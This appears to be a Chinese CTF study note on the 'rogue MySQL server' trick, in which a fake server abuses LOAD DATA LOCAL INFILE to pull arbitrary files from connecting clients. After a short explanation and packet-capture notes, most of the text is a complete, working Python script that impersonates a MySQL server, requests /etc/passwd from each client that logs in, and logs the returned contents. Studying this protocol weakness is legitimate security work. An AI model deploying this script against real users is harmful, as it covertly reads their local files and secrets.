伪mysql服务器_getFile
前言
DDCTF中mysql弱口令需要的一个知识点，比赛通道关了，无法复现。这里做个简单的笔记
原理
构造伪mysql服务器，根据LOAD DATA INFILE原理，构造特殊Response TABULARW包诱导客户端发送需要的文件。
抓包分析
wireshark : port 3306
终端访问：mysql -uroot -p -h 127.0.0.1 // TCP访问
登录请求包
select * from users;
客户端请求
load local data infile “\etc\passwd” into table test3 fields terminated by ‘\n’;
服务端响应客户端Response Query包中却又带有/etc/passwd文件
接着客户端响应服务器发送/etc/passwd内容
所以只要我们伪造的服务器伪造Response TABULARW包中的文件名，并附上我们指定文件就能得到到文件信息
In theory, a patched server could be built that would tell the client program to transfer a file of the server’s choosing rather than the file named by the client in the LOAD DATA statement.”，可以看到，客户端读取哪个文件其实并不是自己说了算的，是服务端说了算的，
不一定需要客户端先发送LOAD DATA LOCAL命令。官方文档解释如下A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL”
客户端具备的条件：
具有CLILENT_LOCAL_FILES属性
具体操作
- 关闭本地
mysql服务器
rogue_mysql_server脚本端口设置多少就是主机mysql连接的端口
终端输入mysql -uroot -p -h 127.0.0.1 -P 3306
cat /etc/passwd得到信息
具体服务
netstat -ntpl
脚本
#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers
PORT = 3306
log = logging.getLogger(__name__)
log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)
filelist = (
'/etc/passwd',
)
#================================================
#=======No need to change after this lines=======
#================================================
__author__ = 'Gifts'
def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return
if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)
class LastPacket(Exception):
pass
class OutOfOrder(Exception):
pass
class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "{0}{1}".format(
header,
self.payload
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)) )
)
self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []
if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')
filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)
if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1
elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()
class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)
if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()
self.listen(5)
def handle_accept(self):
pair = self.accept()
if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)
z = mysql_listener()
# daemonize()
asyncore.loop()参考链接
https://lightless.me/archives/read-mysql-client-file.html
http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
https://dev.mysql.com/doc/internals/en/com-query-response.html
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